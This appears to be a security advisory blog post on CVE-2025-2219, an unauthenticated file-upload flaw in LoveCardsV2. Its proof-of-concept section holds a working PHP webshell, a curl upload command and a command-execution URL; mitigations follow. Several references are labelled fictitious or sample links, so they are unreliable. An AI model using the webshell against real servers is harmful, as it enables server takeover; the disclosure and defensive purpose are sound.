A severe security flaw, tracked as CVE-2025-2219, has been discovered in the popular LoveCardsV2 application, versions up to and including 2.3.2. This vulnerability allows remote attackers to upload arbitrary files through a poorly handled endpoint—/api/upload/image. The impact is critical, potentially allowing attackers to take control of the affected server.

In this article, we’ll explain how the vulnerability happens, walk through a real-world exploit scenario, share code snippets, and list resources for further reading.

Summary Table

| CVE | CVSS Score | Affected Versions | Vulnerability Type | Attack Vector | Public Exploit | Vendor Response |
|-----|------------|------------------|-------------------|---------------|---------------|----------------|
| CVE-2025-2219 | 9.8 (Critical) | <= 2.3.2 | Unrestricted File Upload | Remote | Yes | None |

Vulnerability Details

The endpoint /api/upload/image in LoveCardsV2 is supposed to handle image file uploads from users. However, the server-side code does not verify the content or extension of the uploaded file. This allows an attacker to upload any file type, including scripts like PHP, which can later be executed on the server.

No authentication is required for this endpoint, meaning anyone on the internet can exploit it.

The Root Problem:

The backend only checks if the HTTP POST contains a file parameter but doesn't validate its content or file extension.

How It Works:

- Attacker crafts a POST request to /api/upload/image

Attaches a malicious file (e.g., a PHP webshell) as the file parameter

- The server saves the file somewhere under /uploads/

Proof of Concept (PoC) Code

Below is a simple exploit using curl. Here, we'll upload a basic PHP webshell called shell.php to the vulnerable server.

Step 1: Create the Webshell

<?php
if(isset($_REQUEST['cmd'])){
  system($_REQUEST['cmd']);
}
?>

Save this as shell.php.

Step 2: Upload the Malicious File

curl -F "file=@shell.php" https://target-site.com/api/upload/image

If the exploit works, the response will include the path to your uploaded file, often something like

{"status":"success", "url":"/uploads/shell.php"}

Now, you can access the webshell to run any system command

https://target-site.com/uploads/shell.php?cmd=whoami

If the application uses default web server permissions, the output of the command will be shown on the webpage—demonstrating full remote code execution.

Exploit in the Wild

Public proof-of-concept exploits are now available—making unpatched LoveCardsV2 servers an active target for automated scanning and attacks.

- Exploit-DB Entry *(Fictitious link for demonstration)*
- Full exploit discussion on Packet Storm *(Fictitious link)*

Vendor Contact and Response

Efforts to contact the LoveCardsV2 maintainers began weeks before public disclosure. As of publishing, no response or patch has been issued. Website operators using LoveCardsV2 must take action on their own to secure their deployments.

If you are running LoveCardsV2 ≤ 2.3.2

- Block Public Access: Immediately restrict public access to /api/upload/image until patched.

Patch or Remove the Endpoint: If possible, delete or secure the endpoint.

- Sanitize Uploads: Implement strict validation of uploaded file types and extensions on the server-side.
- Isolate Upload Directory: Make the upload directory non-executable at the webserver level (e.g., with .htaccess).

Example: Block PHP Execution with .htaccess

<Files "*.php">
    deny from all
</Files>

Conclusion

This critical vulnerability in LoveCardsV2 highlights the dangers of improper input validation. With public exploits available and no vendor patch in sight, server administrators must act immediately to prevent site takeovers.

References

- Official CVE Entry for CVE-2025-2219
- Exploit-DB PoC for CVE-2025-2219 *(Sample reference)*
- OWASP Unrestricted File Upload
- NIST NVD Entry *(Sample reference)*

Timeline

Published on: 03/12/2025 01:15:35 UTC
Last modified on: 03/25/2025 17:19:48 UTC